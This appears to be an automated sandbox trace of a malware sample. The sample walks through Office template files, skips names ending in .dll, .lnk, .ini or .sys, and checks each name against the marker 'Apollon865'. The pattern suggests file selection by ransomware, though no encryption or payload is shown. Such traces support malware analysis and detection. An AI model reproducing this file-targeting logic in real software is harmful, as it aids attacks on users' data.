	[0062.686] lstrlenW (lpString=".lnk") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR6.XLT", lpString2=".lnk") returned 1
	[0062.687] lstrlenW (lpString=".ini") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR6.XLT", lpString2=".ini") returned 1
	[0062.687] lstrlenW (lpString=".sys") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR6.XLT", lpString2=".sys") returned 1
	[0062.687] lstrlenW (lpString="ADR6.XLT") returned 8
	[0062.687] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR7.XLT" | out: lpString1="ADR7.XLT") returned="ADR7.XLT"
	[0062.687] lstrlenW (lpString="ADR7.XLT") returned 8
	[0062.687] lstrlenW (lpString="Apollon865") returned 10
	[0062.687] lstrlenW (lpString=".dll") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR7.XLT", lpString2=".dll") returned 1
	[0062.687] lstrlenW (lpString=".lnk") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR7.XLT", lpString2=".lnk") returned 1
	[0062.687] lstrlenW (lpString=".ini") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR7.XLT", lpString2=".ini") returned 1
	[0062.687] lstrlenW (lpString=".sys") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR7.XLT", lpString2=".sys") returned 1
	[0062.687] lstrlenW (lpString="ADR7.XLT") returned 8
	[0062.687] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR8.XLT" | out: lpString1="ADR8.XLT") returned="ADR8.XLT"
	[0062.687] lstrlenW (lpString="ADR8.XLT") returned 8
	[0062.687] lstrlenW (lpString="Apollon865") returned 10
	[0062.687] lstrlenW (lpString=".dll") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR8.XLT", lpString2=".dll") returned 1
	[0062.687] lstrlenW (lpString=".lnk") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR8.XLT", lpString2=".lnk") returned 1
	[0062.687] lstrlenW (lpString=".ini") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR8.XLT", lpString2=".ini") returned 1
	[0062.687] lstrlenW (lpString=".sys") returned 4
	[0062.687] lstrcmpiW (lpString1="ADR8.XLT", lpString2=".sys") returned 1
	[0062.687] lstrlenW (lpString="ADR8.XLT") returned 8
	[0062.687] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR9.XLT" | out: lpString1="ADR9.XLT") returned="ADR9.XLT"
	[0062.688] lstrlenW (lpString="ADR9.XLT") returned 8
	[0062.688] lstrlenW (lpString="Apollon865") returned 10
	[0062.688] lstrlenW (lpString=".dll") returned 4
	[0062.688] lstrcmpiW (lpString1="ADR9.XLT", lpString2=".dll") returned 1
	[0062.688] lstrlenW (lpString=".lnk") returned 4
	[0062.688] lstrcmpiW (lpString1="ADR9.XLT", lpString2=".lnk") returned 1
	[0062.688] lstrlenW (lpString=".ini") returned 4
	[0062.688] lstrcmpiW (lpString1="ADR9.XLT", lpString2=".ini") returned 1
	[0062.688] lstrlenW (lpString=".sys") returned 4
	[0062.688] lstrcmpiW (lpString1="ADR9.XLT", lpString2=".sys") returned 1
	[0062.688] lstrlenW (lpString="ADR9.XLT") returned 8
	[0062.688] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ApothecaryLetter.dotx" | out: lpString1="ApothecaryLetter.dotx") returned="ApothecaryLetter.dotx"
	[0062.688] lstrlenW (lpString="ApothecaryLetter.dotx") returned 21
	[0062.688] lstrlenW (lpString="Apollon865") returned 10
	[0062.688] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.688] lstrlenW (lpString=".dll") returned 4
	[0062.688] lstrcmpiW (lpString1="ApothecaryLetter.dotx", lpString2=".dll") returned 1
	[0062.688] lstrlenW (lpString=".lnk") returned 4
	[0062.688] lstrcmpiW (lpString1="ApothecaryLetter.dotx", lpString2=".lnk") returned 1
	[0062.688] lstrlenW (lpString=".ini") returned 4
	[0062.688] lstrcmpiW (lpString1="ApothecaryLetter.dotx", lpString2=".ini") returned 1
	[0062.688] lstrlenW (lpString=".sys") returned 4
	[0062.688] lstrcmpiW (lpString1="ApothecaryLetter.dotx", lpString2=".sys") returned 1
	[0062.688] lstrlenW (lpString="ApothecaryLetter.dotx") returned 21
	[0062.688] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ApothecaryMergeLetter.dotx" | out: lpString1="ApothecaryMergeLetter.dotx") returned="ApothecaryMergeLetter.dotx"
	[0062.688] lstrlenW (lpString="ApothecaryMergeLetter.dotx") returned 26
	[0062.688] lstrlenW (lpString="Apollon865") returned 10
	[0062.688] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.688] lstrlenW (lpString=".dll") returned 4
	[0062.688] lstrcmpiW (lpString1="ApothecaryMergeLetter.dotx", lpString2=".dll") returned 1
	[0062.688] lstrlenW (lpString=".lnk") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryMergeLetter.dotx", lpString2=".lnk") returned 1
	[0062.689] lstrlenW (lpString=".ini") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryMergeLetter.dotx", lpString2=".ini") returned 1
	[0062.689] lstrlenW (lpString=".sys") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryMergeLetter.dotx", lpString2=".sys") returned 1
	[0062.689] lstrlenW (lpString="ApothecaryMergeLetter.dotx") returned 26
	[0062.689] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ApothecaryNewsletter.dotx" | out: lpString1="ApothecaryNewsletter.dotx") returned="ApothecaryNewsletter.dotx"
	[0062.689] lstrlenW (lpString="ApothecaryNewsletter.dotx") returned 25
	[0062.689] lstrlenW (lpString="Apollon865") returned 10
	[0062.689] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.689] lstrlenW (lpString=".dll") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryNewsletter.dotx", lpString2=".dll") returned 1
	[0062.689] lstrlenW (lpString=".lnk") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryNewsletter.dotx", lpString2=".lnk") returned 1
	[0062.689] lstrlenW (lpString=".ini") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryNewsletter.dotx", lpString2=".ini") returned 1
	[0062.689] lstrlenW (lpString=".sys") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryNewsletter.dotx", lpString2=".sys") returned 1
	[0062.689] lstrlenW (lpString="ApothecaryNewsletter.dotx") returned 25
	[0062.689] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ApothecaryResume.dotx" | out: lpString1="ApothecaryResume.dotx") returned="ApothecaryResume.dotx"
	[0062.689] lstrlenW (lpString="ApothecaryResume.dotx") returned 21
	[0062.689] lstrlenW (lpString="Apollon865") returned 10
	[0062.689] lstrcmpiW (lpString1="esume.dotx", lpString2="Apollon865") returned 1
	[0062.689] lstrlenW (lpString=".dll") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryResume.dotx", lpString2=".dll") returned 1
	[0062.689] lstrlenW (lpString=".lnk") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryResume.dotx", lpString2=".lnk") returned 1
	[0062.689] lstrlenW (lpString=".ini") returned 4
	[0062.689] lstrcmpiW (lpString1="ApothecaryResume.dotx", lpString2=".ini") returned 1
	[0062.690] lstrlenW (lpString=".sys") returned 4
	[0062.690] lstrcmpiW (lpString1="ApothecaryResume.dotx", lpString2=".sys") returned 1
	[0062.690] lstrlenW (lpString="ApothecaryResume.dotx") returned 21
	[0062.690] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BillingStatement.xltx" | out: lpString1="BillingStatement.xltx") returned="BillingStatement.xltx"
	[0062.690] lstrlenW (lpString="BillingStatement.xltx") returned 21
	[0062.690] lstrlenW (lpString="Apollon865") returned 10
	[0062.690] lstrcmpiW (lpString1="ement.xltx", lpString2="Apollon865") returned 1
	[0062.690] lstrlenW (lpString=".dll") returned 4
	[0062.690] lstrcmpiW (lpString1="BillingStatement.xltx", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString=".lnk") returned 4
	[0062.690] lstrcmpiW (lpString1="BillingStatement.xltx", lpString2=".lnk") returned 1
	[0062.690] lstrlenW (lpString=".ini") returned 4
	[0062.690] lstrcmpiW (lpString1="BillingStatement.xltx", lpString2=".ini") returned 1
	[0062.690] lstrlenW (lpString=".sys") returned 4
	[0062.690] lstrcmpiW (lpString1="BillingStatement.xltx", lpString2=".sys") returned 1
	[0062.690] lstrlenW (lpString="BillingStatement.xltx") returned 21
	[0062.690] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BlackTieLetter.dotx" | out: lpString1="BlackTieLetter.dotx") returned="BlackTieLetter.dotx"
	[0062.690] lstrlenW (lpString="BlackTieLetter.dotx") returned 19
	[0062.690] lstrlenW (lpString="Apollon865") returned 10
	[0062.690] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.690] lstrlenW (lpString=".dll") returned 4
	[0062.690] lstrcmpiW (lpString1="BlackTieLetter.dotx", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString=".lnk") returned 4
	[0062.690] lstrcmpiW (lpString1="BlackTieLetter.dotx", lpString2=".lnk") returned 1
	[0062.690] lstrlenW (lpString=".ini") returned 4
	[0062.690] lstrcmpiW (lpString1="BlackTieLetter.dotx", lpString2=".ini") returned 1
	[0062.690] lstrlenW (lpString=".sys") returned 4
	[0062.690] lstrcmpiW (lpString1="BlackTieLetter.dotx", lpString2=".sys") returned 1
	[0062.690] lstrlenW (lpString="BlackTieLetter.dotx") returned 19
	[0062.691] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BlackTieMergeLetter.dotx" | out: lpString1="BlackTieMergeLetter.dotx") returned="BlackTieMergeLetter.dotx"
	[0062.691] lstrlenW (lpString="BlackTieMergeLetter.dotx") returned 24
	[0062.691] lstrlenW (lpString="Apollon865") returned 10
	[0062.691] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.691] lstrlenW (lpString=".dll") returned 4
	[0062.691] lstrcmpiW (lpString1="BlackTieMergeLetter.dotx", lpString2=".dll") returned 1
	[0062.691] lstrlenW (lpString=".lnk") returned 4
	[0062.691] lstrcmpiW (lpString1="BlackTieMergeLetter.dotx", lpString2=".lnk") returned 1
	[0062.691] lstrlenW (lpString=".ini") returned 4
	[0062.691] lstrcmpiW (lpString1="BlackTieMergeLetter.dotx", lpString2=".ini") returned 1
	[0062.691] lstrlenW (lpString=".sys") returned 4
	[0062.691] lstrcmpiW (lpString1="BlackTieMergeLetter.dotx", lpString2=".sys") returned 1
	[0062.691] lstrlenW (lpString="BlackTieMergeLetter.dotx") returned 24
	[0062.691] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BlackTieNewsletter.dotx" | out: lpString1="BlackTieNewsletter.dotx") returned="BlackTieNewsletter.dotx"
	[0062.691] lstrlenW (lpString="BlackTieNewsletter.dotx") returned 23
	[0062.691] lstrlenW (lpString="Apollon865") returned 10
	[0062.691] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.691] lstrlenW (lpString=".dll") returned 4
	[0062.691] lstrcmpiW (lpString1="BlackTieNewsletter.dotx", lpString2=".dll") returned 1
	[0062.691] lstrlenW (lpString=".lnk") returned 4
	[0062.691] lstrcmpiW (lpString1="BlackTieNewsletter.dotx", lpString2=".lnk") returned 1
	[0062.691] lstrlenW (lpString=".ini") returned 4
	[0062.691] lstrcmpiW (lpString1="BlackTieNewsletter.dotx", lpString2=".ini") returned 1
	[0062.691] lstrlenW (lpString=".sys") returned 4
	[0062.691] lstrcmpiW (lpString1="BlackTieNewsletter.dotx", lpString2=".sys") returned 1
	[0062.691] lstrlenW (lpString="BlackTieNewsletter.dotx") returned 23
	[0062.691] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BlackTieResume.dotx" | out: lpString1="BlackTieResume.dotx") returned="BlackTieResume.dotx"
	[0062.691] lstrlenW (lpString="BlackTieResume.dotx") returned 19
	[0062.691] lstrlenW (lpString="Apollon865") returned 10
	[0062.691] lstrcmpiW (lpString1="esume.dotx", lpString2="Apollon865") returned 1
	[0062.692] lstrlenW (lpString=".dll") returned 4
	[0062.692] lstrcmpiW (lpString1="BlackTieResume.dotx", lpString2=".dll") returned 1
	[0062.692] lstrlenW (lpString=".lnk") returned 4
	[0062.692] lstrcmpiW (lpString1="BlackTieResume.dotx", lpString2=".lnk") returned 1
	[0062.692] lstrlenW (lpString=".ini") returned 4
	[0062.692] lstrcmpiW (lpString1="BlackTieResume.dotx", lpString2=".ini") returned 1
	[0062.692] lstrlenW (lpString=".sys") returned 4
	[0062.692] lstrcmpiW (lpString1="BlackTieResume.dotx", lpString2=".sys") returned 1
	[0062.692] lstrlenW (lpString="BlackTieResume.dotx") returned 19
	[0062.692] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Blog.dotx" | out: lpString1="Blog.dotx") returned="Blog.dotx"
	[0062.692] lstrlenW (lpString="Blog.dotx") returned 9
	[0062.692] lstrlenW (lpString="Apollon865") returned 10
	[0062.692] lstrlenW (lpString=".dll") returned 4
	[0062.692] lstrcmpiW (lpString1="Blog.dotx", lpString2=".dll") returned 1
	[0062.692] lstrlenW (lpString=".lnk") returned 4
	[0062.692] lstrcmpiW (lpString1="Blog.dotx", lpString2=".lnk") returned 1
	[0062.692] lstrlenW (lpString=".ini") returned 4
	[0062.692] lstrcmpiW (lpString1="Blog.dotx", lpString2=".ini") returned 1
	[0062.692] lstrlenW (lpString=".sys") returned 4
	[0062.692] lstrcmpiW (lpString1="Blog.dotx", lpString2=".sys") returned 1
	[0062.692] lstrlenW (lpString="Blog.dotx") returned 9
	[0062.692] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BloodPressureTracker.xltx" | out: lpString1="BloodPressureTracker.xltx") returned="BloodPressureTracker.xltx"
	[0062.692] lstrlenW (lpString="BloodPressureTracker.xltx") returned 25
	[0062.692] lstrlenW (lpString="Apollon865") returned 10
	[0062.692] lstrcmpiW (lpString1="acker.xltx", lpString2="Apollon865") returned -1
	[0062.692] lstrlenW (lpString=".dll") returned 4
	[0062.692] lstrcmpiW (lpString1="BloodPressureTracker.xltx", lpString2=".dll") returned 1
	[0062.692] lstrlenW (lpString=".lnk") returned 4
	[0062.692] lstrcmpiW (lpString1="BloodPressureTracker.xltx", lpString2=".lnk") returned 1
	[0062.692] lstrlenW (lpString=".ini") returned 4
	[0062.692] lstrcmpiW (lpString1="BloodPressureTracker.xltx", lpString2=".ini") returned 1
	[0062.692] lstrlenW (lpString=".sys") returned 4
	[0062.693] lstrcmpiW (lpString1="BloodPressureTracker.xltx", lpString2=".sys") returned 1
	[0062.693] lstrlenW (lpString="BloodPressureTracker.xltx") returned 25
	[0062.693] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ClassicPhotoAlbum.potx" | out: lpString1="ClassicPhotoAlbum.potx") returned="ClassicPhotoAlbum.potx"
	[0062.693] lstrlenW (lpString="ClassicPhotoAlbum.potx") returned 22
	[0062.693] lstrlenW (lpString="Apollon865") returned 10
	[0062.693] lstrcmpiW (lpString1="Album.potx", lpString2="Apollon865") returned -1
	[0062.693] lstrlenW (lpString=".dll") returned 4
	[0062.693] lstrcmpiW (lpString1="ClassicPhotoAlbum.potx", lpString2=".dll") returned 1
	[0062.693] lstrlenW (lpString=".lnk") returned 4
	[0062.693] lstrcmpiW (lpString1="ClassicPhotoAlbum.potx", lpString2=".lnk") returned 1
	[0062.693] lstrlenW (lpString=".ini") returned 4
	[0062.693] lstrcmpiW (lpString1="ClassicPhotoAlbum.potx", lpString2=".ini") returned 1
	[0062.693] lstrlenW (lpString=".sys") returned 4
	[0062.693] lstrcmpiW (lpString1="ClassicPhotoAlbum.potx", lpString2=".sys") returned 1
	[0062.693] lstrlenW (lpString="ClassicPhotoAlbum.potx") returned 22
	[0062.693] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ContemporaryPhotoAlbum.potx" | out: lpString1="ContemporaryPhotoAlbum.potx") returned="ContemporaryPhotoAlbum.potx"
	[0062.693] lstrlenW (lpString="ContemporaryPhotoAlbum.potx") returned 27
	[0062.693] lstrlenW (lpString="Apollon865") returned 10
	[0062.693] lstrcmpiW (lpString1="Album.potx", lpString2="Apollon865") returned -1
	[0062.693] lstrlenW (lpString=".dll") returned 4
	[0062.693] lstrcmpiW (lpString1="ContemporaryPhotoAlbum.potx", lpString2=".dll") returned 1
	[0062.693] lstrlenW (lpString=".lnk") returned 4
	[0062.693] lstrcmpiW (lpString1="ContemporaryPhotoAlbum.potx", lpString2=".lnk") returned 1
	[0062.693] lstrlenW (lpString=".ini") returned 4
	[0062.693] lstrcmpiW (lpString1="ContemporaryPhotoAlbum.potx", lpString2=".ini") returned 1
	[0062.693] lstrlenW (lpString=".sys") returned 4
	[0062.693] lstrcmpiW (lpString1="ContemporaryPhotoAlbum.potx", lpString2=".sys") returned 1
	[0062.693] lstrlenW (lpString="ContemporaryPhotoAlbum.potx") returned 27
	[0062.694] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EquityLetter.Dotx" | out: lpString1="EquityLetter.Dotx") returned="EquityLetter.Dotx"
	[0062.694] lstrlenW (lpString="EquityLetter.Dotx") returned 17
	[0062.694] lstrlenW (lpString="Apollon865") returned 10
	[0062.694] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.694] lstrlenW (lpString=".dll") returned 4
	[0062.694] lstrcmpiW (lpString1="EquityLetter.Dotx", lpString2=".dll") returned 1
	[0062.694] lstrlenW (lpString=".lnk") returned 4
	[0062.694] lstrcmpiW (lpString1="EquityLetter.Dotx", lpString2=".lnk") returned 1
	[0062.694] lstrlenW (lpString=".ini") returned 4
	[0062.694] lstrcmpiW (lpString1="EquityLetter.Dotx", lpString2=".ini") returned 1
	[0062.694] lstrlenW (lpString=".sys") returned 4
	[0062.694] lstrcmpiW (lpString1="EquityLetter.Dotx", lpString2=".sys") returned 1
	[0062.694] lstrlenW (lpString="EquityLetter.Dotx") returned 17
	[0062.694] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EquityMergeFax.Dotx" | out: lpString1="EquityMergeFax.Dotx") returned="EquityMergeFax.Dotx"
	[0062.694] lstrlenW (lpString="EquityMergeFax.Dotx") returned 19
	[0062.694] lstrlenW (lpString="Apollon865") returned 10
	[0062.694] lstrcmpiW (lpString1="geFax.Dotx", lpString2="Apollon865") returned 1
	[0062.694] lstrlenW (lpString=".dll") returned 4
	[0062.694] lstrcmpiW (lpString1="EquityMergeFax.Dotx", lpString2=".dll") returned 1
	[0062.694] lstrlenW (lpString=".lnk") returned 4
	[0062.694] lstrcmpiW (lpString1="EquityMergeFax.Dotx", lpString2=".lnk") returned 1
	[0062.694] lstrlenW (lpString=".ini") returned 4
	[0062.694] lstrcmpiW (lpString1="EquityMergeFax.Dotx", lpString2=".ini") returned 1
	[0062.694] lstrlenW (lpString=".sys") returned 4
	[0062.694] lstrcmpiW (lpString1="EquityMergeFax.Dotx", lpString2=".sys") returned 1
	[0062.694] lstrlenW (lpString="EquityMergeFax.Dotx") returned 19
	[0062.695] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EquityMergeLetter.Dotx" | out: lpString1="EquityMergeLetter.Dotx") returned="EquityMergeLetter.Dotx"
	[0062.695] lstrlenW (lpString="EquityMergeLetter.Dotx") returned 22
	[0062.695] lstrlenW (lpString="Apollon865") returned 10
	[0062.695] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.695] lstrlenW (lpString=".dll") returned 4
	[0062.695] lstrcmpiW (lpString1="EquityMergeLetter.Dotx", lpString2=".dll") returned 1
	[0062.695] lstrlenW (lpString=".lnk") returned 4
	[0062.695] lstrcmpiW (lpString1="EquityMergeLetter.Dotx", lpString2=".lnk") returned 1
	[0062.695] lstrlenW (lpString=".ini") returned 4
	[0062.695] lstrcmpiW (lpString1="EquityMergeLetter.Dotx", lpString2=".ini") returned 1
	[0062.695] lstrlenW (lpString=".sys") returned 4
	[0062.695] lstrcmpiW (lpString1="EquityMergeLetter.Dotx", lpString2=".sys") returned 1
	[0062.695] lstrlenW (lpString="EquityMergeLetter.Dotx") returned 22
	[0062.695] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EquityReport.Dotx" | out: lpString1="EquityReport.Dotx") returned="EquityReport.Dotx"
	[0062.695] lstrlenW (lpString="EquityReport.Dotx") returned 17
	[0062.696] lstrlenW (lpString="Apollon865") returned 10
	[0062.696] lstrcmpiW (lpString1="eport.Dotx", lpString2="Apollon865") returned 1
	[0062.696] lstrlenW (lpString=".dll") returned 4
	[0062.696] lstrcmpiW (lpString1="EquityReport.Dotx", lpString2=".dll") returned 1
	[0062.696] lstrlenW (lpString=".lnk") returned 4
	[0062.696] lstrcmpiW (lpString1="EquityReport.Dotx", lpString2=".lnk") returned 1
	[0062.696] lstrlenW (lpString=".ini") returned 4
	[0062.696] lstrcmpiW (lpString1="EquityReport.Dotx", lpString2=".ini") returned 1
	[0062.696] lstrlenW (lpString=".sys") returned 4
	[0062.696] lstrcmpiW (lpString1="EquityReport.Dotx", lpString2=".sys") returned 1
	[0062.696] lstrlenW (lpString="EquityReport.Dotx") returned 17
	[0062.696] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EquityResume.Dotx" | out: lpString1="EquityResume.Dotx") returned="EquityResume.Dotx"
	[0062.696] lstrlenW (lpString="EquityResume.Dotx") returned 17
	[0062.696] lstrlenW (lpString="Apollon865") returned 10
	[0062.696] lstrcmpiW (lpString1="esume.Dotx", lpString2="Apollon865") returned 1
	[0062.696] lstrlenW (lpString=".dll") returned 4
	[0062.696] lstrcmpiW (lpString1="EquityResume.Dotx", lpString2=".dll") returned 1
	[0062.696] lstrlenW (lpString=".lnk") returned 4
	[0062.696] lstrcmpiW (lpString1="EquityResume.Dotx", lpString2=".lnk") returned 1
	[0062.696] lstrlenW (lpString=".ini") returned 4
	[0062.696] lstrcmpiW (lpString1="EquityResume.Dotx", lpString2=".ini") returned 1
	[0062.696] lstrlenW (lpString=".sys") returned 4
	[0062.696] lstrcmpiW (lpString1="EquityResume.Dotx", lpString2=".sys") returned 1
	[0062.696] lstrlenW (lpString="EquityResume.Dotx") returned 17
	[0062.696] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EssentialLetter.dotx" | out: lpString1="EssentialLetter.dotx") returned="EssentialLetter.dotx"
	[0062.696] lstrlenW (lpString="EssentialLetter.dotx") returned 20
	[0062.696] lstrlenW (lpString="Apollon865") returned 10
	[0062.696] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.696] lstrlenW (lpString=".dll") returned 4
	[0062.696] lstrcmpiW (lpString1="EssentialLetter.dotx", lpString2=".dll") returned 1
	[0062.697] lstrlenW (lpString=".lnk") returned 4
	[0062.697] lstrcmpiW (lpString1="EssentialLetter.dotx", lpString2=".lnk") returned 1
	[0062.697] lstrlenW (lpString=".ini") returned 4
	[0062.697] lstrcmpiW (lpString1="EssentialLetter.dotx", lpString2=".ini") returned 1
	[0062.697] lstrlenW (lpString=".sys") returned 4
	[0062.697] lstrcmpiW (lpString1="EssentialLetter.dotx", lpString2=".sys") returned 1
	[0062.697] lstrlenW (lpString="EssentialLetter.dotx") returned 20
	[0062.697] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EssentialMergeLetter.dotx" | out: lpString1="EssentialMergeLetter.dotx") returned="EssentialMergeLetter.dotx"
	[0062.697] lstrlenW (lpString="EssentialMergeLetter.dotx") returned 25
	[0062.697] lstrlenW (lpString="Apollon865") returned 10
	[0062.697] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.697] lstrlenW (lpString=".dll") returned 4
	[0062.697] lstrcmpiW (lpString1="EssentialMergeLetter.dotx", lpString2=".dll") returned 1
	[0062.697] lstrlenW (lpString=".lnk") returned 4
	[0062.697] lstrcmpiW (lpString1="EssentialMergeLetter.dotx", lpString2=".lnk") returned 1
	[0062.697] lstrlenW (lpString=".ini") returned 4
	[0062.697] lstrcmpiW (lpString1="EssentialMergeLetter.dotx", lpString2=".ini") returned 1
	[0062.697] lstrlenW (lpString=".sys") returned 4
	[0062.697] lstrcmpiW (lpString1="EssentialMergeLetter.dotx", lpString2=".sys") returned 1
	[0062.697] lstrlenW (lpString="EssentialMergeLetter.dotx") returned 25
	[0062.697] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EssentialReport.dotx" | out: lpString1="EssentialReport.dotx") returned="EssentialReport.dotx"
	[0062.697] lstrlenW (lpString="EssentialReport.dotx") returned 20
	[0062.697] lstrlenW (lpString="Apollon865") returned 10
	[0062.697] lstrcmpiW (lpString1="eport.dotx", lpString2="Apollon865") returned 1
	[0062.698] lstrlenW (lpString=".dll") returned 4
	[0062.698] lstrcmpiW (lpString1="EssentialReport.dotx", lpString2=".dll") returned 1
	[0062.698] lstrlenW (lpString=".lnk") returned 4
	[0062.698] lstrcmpiW (lpString1="EssentialReport.dotx", lpString2=".lnk") returned 1
	[0062.698] lstrlenW (lpString=".ini") returned 4
	[0062.698] lstrcmpiW (lpString1="EssentialReport.dotx", lpString2=".ini") returned 1
	[0062.698] lstrlenW (lpString=".sys") returned 4
	[0062.698] lstrcmpiW (lpString1="EssentialReport.dotx", lpString2=".sys") returned 1
	[0062.698] lstrlenW (lpString="EssentialReport.dotx") returned 20
	[0062.698] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EssentialResume.dotx" | out: lpString1="EssentialResume.dotx") returned="EssentialResume.dotx"
	[0062.698] lstrlenW (lpString="EssentialResume.dotx") returned 20
	[0062.698] lstrlenW (lpString="Apollon865") returned 10
	[0062.698] lstrcmpiW (lpString1="esume.dotx", lpString2="Apollon865") returned 1
	[0062.698] lstrlenW (lpString=".dll") returned 4
	[0062.698] lstrcmpiW (lpString1="EssentialResume.dotx", lpString2=".dll") returned 1
	[0062.698] lstrlenW (lpString=".lnk") returned 4
	[0062.698] lstrcmpiW (lpString1="EssentialResume.dotx", lpString2=".lnk") returned 1
	[0062.698] lstrlenW (lpString=".ini") returned 4
	[0062.698] lstrcmpiW (lpString1="EssentialResume.dotx", lpString2=".ini") returned 1
	[0062.698] lstrlenW (lpString=".sys") returned 4
	[0062.698] lstrcmpiW (lpString1="EssentialResume.dotx", lpString2=".sys") returned 1
	[0062.698] lstrlenW (lpString="EssentialResume.dotx") returned 20
	[0062.698] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ExecutiveLetter.dotx" | out: lpString1="ExecutiveLetter.dotx") returned="ExecutiveLetter.dotx"
	[0062.698] lstrlenW (lpString="ExecutiveLetter.dotx") returned 20
	[0062.698] lstrlenW (lpString="Apollon865") returned 10
	[0062.698] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.698] lstrlenW (lpString=".dll") returned 4
	[0062.698] lstrcmpiW (lpString1="ExecutiveLetter.dotx", lpString2=".dll") returned 1
	[0062.698] lstrlenW (lpString=".lnk") returned 4
	[0062.698] lstrcmpiW (lpString1="ExecutiveLetter.dotx", lpString2=".lnk") returned 1
	[0062.698] lstrlenW (lpString=".ini") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveLetter.dotx", lpString2=".ini") returned 1
	[0062.699] lstrlenW (lpString=".sys") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveLetter.dotx", lpString2=".sys") returned 1
	[0062.699] lstrlenW (lpString="ExecutiveLetter.dotx") returned 20
	[0062.699] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ExecutiveMergeLetter.dotx" | out: lpString1="ExecutiveMergeLetter.dotx") returned="ExecutiveMergeLetter.dotx"
	[0062.699] lstrlenW (lpString="ExecutiveMergeLetter.dotx") returned 25
	[0062.699] lstrlenW (lpString="Apollon865") returned 10
	[0062.699] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.699] lstrlenW (lpString=".dll") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveMergeLetter.dotx", lpString2=".dll") returned 1
	[0062.699] lstrlenW (lpString=".lnk") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveMergeLetter.dotx", lpString2=".lnk") returned 1
	[0062.699] lstrlenW (lpString=".ini") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveMergeLetter.dotx", lpString2=".ini") returned 1
	[0062.699] lstrlenW (lpString=".sys") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveMergeLetter.dotx", lpString2=".sys") returned 1
	[0062.699] lstrlenW (lpString="ExecutiveMergeLetter.dotx") returned 25
	[0062.699] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ExecutiveNewsletter.dotx" | out: lpString1="ExecutiveNewsletter.dotx") returned="ExecutiveNewsletter.dotx"
	[0062.699] lstrlenW (lpString="ExecutiveNewsletter.dotx") returned 24
	[0062.699] lstrlenW (lpString="Apollon865") returned 10
	[0062.699] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.699] lstrlenW (lpString=".dll") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveNewsletter.dotx", lpString2=".dll") returned 1
	[0062.699] lstrlenW (lpString=".lnk") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveNewsletter.dotx", lpString2=".lnk") returned 1
	[0062.699] lstrlenW (lpString=".ini") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveNewsletter.dotx", lpString2=".ini") returned 1
